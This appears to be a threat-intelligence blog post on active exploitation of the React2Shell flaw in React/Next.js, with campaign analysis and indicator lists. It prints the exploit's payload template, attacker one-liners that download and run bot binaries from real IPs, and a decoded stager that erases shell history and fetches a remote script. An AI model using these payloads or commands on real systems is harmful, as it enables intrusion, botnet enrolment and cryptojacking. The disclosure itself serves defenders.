React2Shell in the Wild: Payload Analysis, Active Campaigns, and IoCs

ELLIO Icon
ELLIO Team
|5 min read

The ELLIO sensor network has been tracking active exploitation of CVE-2025-55182 (React2Shell) in the wild. Here’s what we’re seeing.

React2Shell vulnerability illustration

The ELLIO sensor network has been tracking active exploitation of CVE-2025-55182 (React2Shell) in the wild. Here’s what we’re seeing.

The Vulnerability in 30 Seconds

React Server Components (RSC) use a “Flight” protocol for server-client communication. A prototype pollution flaw allows attackers to inject arbitrary JavaScript that executes server-side:

javascript
{
    "then": "$1:__proto__:then",
    "_response": {
      "_prefix": "process.mainModule.require('child_process').execSync('...')",
      "_formData": {"get": "$1:constructor:constructor"}
    }
  }

Result: Unauthenticated RCE on unpatched Next.js/React app.

How Attackers Get Command Output Back

Not all payloads are fire-and-forget. Attackers need to verify RCE works before deploying malware. We observed two main exfiltration strategies:

Strategy A: NEXT_REDIRECT with URL Parameter (Structured)

carbon5 1024x197

How it works:

  • NEXT_REDIRECT is legitimate Next.js Server Action redirect handling
  • Framework parses the digest field and returns a redirect response
  • Command output appears in URL: /login?a=1679013772
  • Attacker sees math result = RCE confirmed

Strategy B: Raw Digest Exfil (Simple)

carbon6 1024x197

How it works:

  • Output goes directly into digest field
  • Less structured, but works for any (small) output
  • Used for ping callbacks and system fingerprinting

Reconnaissance Commands Observed

carbon7 1024x242

Payload Types Observed

Deep Dive – The “nuts” Campaign (Multi-Dipping)

The dominant attacker runs both Mirai AND XMRig on victims – maximizing profit from each compromised server.

Infection Chain

carbon8 1024x265

Stage 1: Mirai Beacon (x86)

bash
 Execution: ./x86 reactOnMynuts
  • Reports back to C2 with system info
  • Campaign tag for tracking infections

Stage 2: Dropper Script (bolts)

carbon10 1024x671

Key behaviors:

  • Kills 5 known competing miners
  • Renames XMRig to fghgf to evade detection
  • Installs watchdog that kills competitors every 45 seconds
  • Explicitly targets “rondo” campaign (turf war!?)

Stage 3: XMRig Miner (x)

Mining Configuration (lc):

carbon11 1024x310
bash
Monero Wallet:
45Sp7oqA8vbUJyZiWhyKT7cm1tyRJ492WTwms5n1VfDbCqUcwUttVTF7PDGivefCWm7dxN3uRAAckGU9BLoMCmgAJduR4d4

Why Multi-Dip?

  • Mirai = DDoS-for-hire revenue + propagation to new targets
  • XMRig = Passive crypto income from CPU cycles
  • Competitor killer = Protects both revenue streams

This attacker monetizes victims twice while actively sabotaging competitors.

The “rondo” Campaign (Competitor)

The second-largest campaign – and explicitly targeted by the “nuts” watchdog.

carbon12 1024x174

Characteristics:

  • Shell script handles everything server-side
  • Fire-and-forget (no output capture)
  • Triple download fallback
  • Background execution with &

Infrastructure:

Key behaviors:

Aggressive competitor killing

carbon13 1024x197

Security disabling:

carbon14 1024x174

If you know IoT devices that are running React/NextJS webservers – please drop us a line at reply[@]ellio.tech.

Multi-arch support:

carbon15 1024x220

After Mirai everyone is an expert in cross-compilation.

Campaign tagging:

carbon16 1024x129

Binary Analysis (rondo.x86_64)

carbon17 1024x377

Other Observed Payloads

Direct Bot Binary

bash
cd /tmp; wget http://23.132.164.54/bot; chmod 777 bot; ./bot

Infrastructure:

  • gfxnick.emerald.usbx.me
  • 23.132.164.54

Alternative Staging Path

bash
cd /dev; busybox wget http://31.56.27.76/n2/x86; chmod 777 x86; ./x86

Uses /dev instead of /tmp for staging.

Binary Analysis (bot)

Mining configuration (embedded)

carbon18 1024x377

Note: Uses mining proxy (anondns.net) to hide actual wallet – more sophisticated OpSec than “nuts” campaign.

IoC List & Artifacts

Network Infrastructure – C2/Payload Servers

193.34.213.150 # nuts campaignMirai + miner
41.231.37.153 # rondo campaign
23.228.188.126 # rondo campaign
23.132.164.54 # bot binary hosting
31.56.27.76 # alternative binary
45.157.233.80 # recon ping target

Network Infrastructure – Mining Pools

205.185.126.196:443 # Monero pool (primary)
37.114.37.94:80 # Monero pool (backup)
37.114.37.82:80 # Monero pool (backup)

Domains

gfxnick[.]emerald[.]usbx[.]me # Seedbox-hosted malware

URLs

hXXp://193.34.213.150/nuts/x86
hXXp://193.34.213.150/nuts/bolts
hXXp://193.34.213.150/nuts/x
hXXp://193.34.213.150/nuts/lc
hXXp://41.231.37.153/rondo.aqu.sh
hXXp://23.228.188.126/rondo.aqu.sh
hXXp://23.132.164.54/bot
hXXp://gfxnick.emerald.usbx.me/bot
hXXp://31.56.27.76/n2/x86

File Hashes (SHA256)

# nuts campaignXMRig miner
2530ebc8e77c784ffe628b3588739ff096a2af4437656144983d1ba04b11538f x (packed)
0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 x (unpacked)
# nuts campaignMirai variant
858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb x86 (packed)
d2942d3b9b2e2dc98a34dc5a0d35c0ff7cb5ab419dfba7b1fca32fb6927732c4 x86 (unpacked)

Monero Wallet

45Sp7oqA8vbUJyZiWhyKT7cm1tyRJ492WTwms5n1VfDbCqUcwUttVTF7PDGivefCWm7dxN3uRAAckGU9BLoMCmgAJduR4d4

File Paths (Runtime)

/tmp/fghgf # Renamed XMRig
/tmp/config.json # Mining config
/dev/health.sh # Competitor killer watchdog
/dev/x86 # Alternative staging
/tmp/bot # Generic bot binary

Process Names

fghgf # Obfuscated XMRig
health.sh # Watchdog
reactOnMynuts # Campaign tag (argv)

Processes Killed by Watchdog

xmrig
softirq
watcher
/tmp/a
rondo # Competing campaign!

HTTP Indicators

Headers:
Next-Action: *
RSC: 1
Content-Type: multipart/form-data

Data collected from ELLIO honeypot infrastructure. React2Shell (CVE-2025-55182) affects React 19.x and Next.js 15.x/16.x - patch immediately.

Conclusion

Nothing in this stack is novel except step one. The operators stitched a new React2Shell exploit onto a classic kill chain and pointed it at as many vulnerable hosts as possible. That’s what Mass Exploitation looks like in 2025: reuse everything, just swap the front door. For defenders, that means shifting to a pre-attack posture around React/Next.js and other web frameworks, not waiting for miners and bots to show up in logs.

Update 6 Dec 2025

Base64-Encoded Payload (59[.]7[.]217[.]245)

Raw Exploit Payload

carbon21 1024x354

Base64 Decoded

KGN1cmwgLWsgaHR0cDovLzU5LjcuMjE3LjI0NTo3MDcwL2Muc2h8fHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcSAtTy0gaHR0cDovLzU5LjcuMjE3LjI0NTo3MDcwL2Muc2gpPj4vdmFyL3RtcC81LnNo

Decodes to:

carbon22 1024x152

The shell script downloads actual SOCKS proxy binary:

carbon20 1024x467

Network indicators:

  • 59.7.217.245:7070
  • hXXp://59.7.217.245:7070/c.sh

Hashes (Go SOCKS proxy binary)

  • cc17c5a982a899986c292a41cdc0dfe75b7126b4833521a9b010722a382d11e8 app2 (UPX packed)
  • 9e8778cf70e7ef90f3de2a945ae453b5f1b9eb8d2f30a6888f8fc8331f96c16e app2 (unpacked)

Full Chain

Terminal screenshot showing malicious attack chain: base64 encoded command downloads shell script from IP 59.7.217.245, which fetches Go SOCKS5 proxy binary for persistent network tunneling access

Update 7 Dec 2025

Hellknight.xyz

A new payload was observed:

carbon29 2 1024x422

Base64 content:

bash
dW5zZXQgSElTVCBISVNURklMRSBzYXZlaGlzdG9yeSBTU0hfQ09OTkVDVElPTiBTU0hfQ0xJRU5UO2V4cG9ydCBURVJNPXZ0MTAwOwpweXRob24zIC1jICJpbXBvcnQgdXJsbGliLnJlcXVlc3QgYXMgdTsgb3BlbignL3RtcC9qcy5zaCcsJ3diJykud3JpdGUodS51cmxvcGVuKCdodHRwczovL2FwaS5oZWxsa25pZ2h0Lnh5ei9qcycpLnJlYWQoKSkiCmJhc2ggL3RtcC9qcy5zaCAxPi9kZXYvbnVsbCAyPi9kZXYvbnVsbApzbGVlcCAzO3JtIC1SZiAvdG1wL2pzLnNoOwo

Decoded:

bash
unset HIST HISTFILE savehistory SSH_CONNECTION SSH_CLIENT;export TERM=vt100;
python3 -c "import urllib.request as u; open('/tmp/js.sh','wb').write(u.urlopen('https://api.hellknight.xyz/js').read())"
bash /tmp/js.sh 1>/dev/null 2>/dev/null
sleep 3;rm -Rf /tmp/js.sh;

Attack chain

carbon24 916x1024

The obfuscated “js” file has a single detection on VT:

image 1024x546

IoCs

Domain: api.hellknight.xyz URL: hXXXs://api.hellknight.xyz/js SHA256: 986b2532a7d955074dbd8a1a5dec3ce242997d593072fa641d09e1eddc5400d1

Reverse shell payload

Another payload was observed, this time pinging back to the source attack IP using nc.

React payload

carbon27 1024x377

Connecting to C2

carbon26 1024x310

After sending "bait" responses no immediate second stage was provided.

IoCs

Source: 171.252.32.135

Egress to: 171.252.32.135 7700

Cryptojacking campaign (demonic-agents)

A different miner, this time using multiple ways to download a script from GitHub.

Terminal window showing malicious HTTP request with embedded shell commands attempting to download and execute cryptocurrency mining scripts from GitHub repositories

Attack chain

Terminal screenshot showing React2Shell exploit (CVE-2025-55182) deploying cryptocurrency miner malware via weaponized C3Pool script with system persistence mechanisms

Attackers wallet

bash
49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv

Going to the pool, we can observe that at the time of writing, this particular configuration (wallet) has 222 (alleged) victims, with expected payout of €2.63 per day.

image 1 1024x480

You can check the status yourself on https://c3pool.com/oldui/en/

or use the API call: https://api.c3pool.com/miner/49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv/stats

So far a single payout of 0.0049801 XMR to the wallet (TX id: abdd526b962bbf81219cf7cf255ff0918bbea1744672681a923cdb9b25d6f288)

Based purely on the node hostnames in the crypto-pool, some of the websites that are (allegedly) mining XMR right now:

https://www.aqarimmo.com/en

https://www.thedailyjagran.com

https://comprasaraguaia.com/

IOCs/References

GitHub User: demonic-agents (gists now hidden)

Gist URL: gist.githubusercontent.com/demonic-agents/39e943f4de855e2aef12f34324cbf150/raw/ e767e1cef1c35738689ba4df9c6f7f29a6afba1a/setup_c3pool_miner.sh

Script SHA256: 3c2c64c3bb41fa7522305d77d749f17e13dd28df752bb529bd8672e777bd6526

Wallet: 49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv

Pool: auto.c3pool.org

Check how many miners are mining in the benefit of the wallet: https://api.c3pool.com/miner/49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv/chart/hashrate/allWorkers?page=1&pageSize=600

Explore the Campaign Data

Screenshot 2025 12 08 at 12 36 11 ELLIO Threat Intelligence Real Time Cyber Attack Prevention 1024x653

For ELLIO users, you can pivot directly on this activity in the platform:

Exploitation IPs (tag: “React2Shell Exploitation Attempt”): View in ELLIO →

Doing research, want to help or under attack? Reach out to: reply @ ellio.tech. We are here to help.

Second update 7 Dec 2025

We are tracking new variants, cryptojacking and recon campaigns.

There are new Mirai payloads, for example https://www.virustotal.com/gui/file/b8a839dd0e839c887d7101ca0389f7b7185cd82a4a4c294631afffc85c9bcdac/community

As we continue tracking more and more payloads, it is time to shift gears and see how much dissimilarity there is in all payloads our sensor network is observing.

Screenshot 2025 12 09 at 11 44 22 1024x567

There are multiple clusters with different campaigns, from perl rooters to attackers utilizing this RCE to gather information about host (potentially building target list for further stages, while also trying to discover honeypot infrastructure)..

Heatmap showing payload feature analysis by cluster with normalized data, displaying malware types and attack patterns across different threat clusters with percentage distributions

There multiple similar features across all campaigns, while others are almost unique to a single cluster.

Screenshot 2025 12 09 at 16 11 22 1024x894

As you can see from a picture above, most exploitation attempts are coming from connections with “normal-ish” MuonFP fingerprints, but for example the cluster on top right is composed of exploitation attempts with more distinct fingerprints – coming from multiple locations but similar payload.

Screenshot 2025 12 09 at 16 11 11 1 1 1024x894

And here you can see clusters colored by the type of malware / payload.

Let us know if you would like us to write a deep dive into more clusters, payloads and continue updating this post.

Related Articles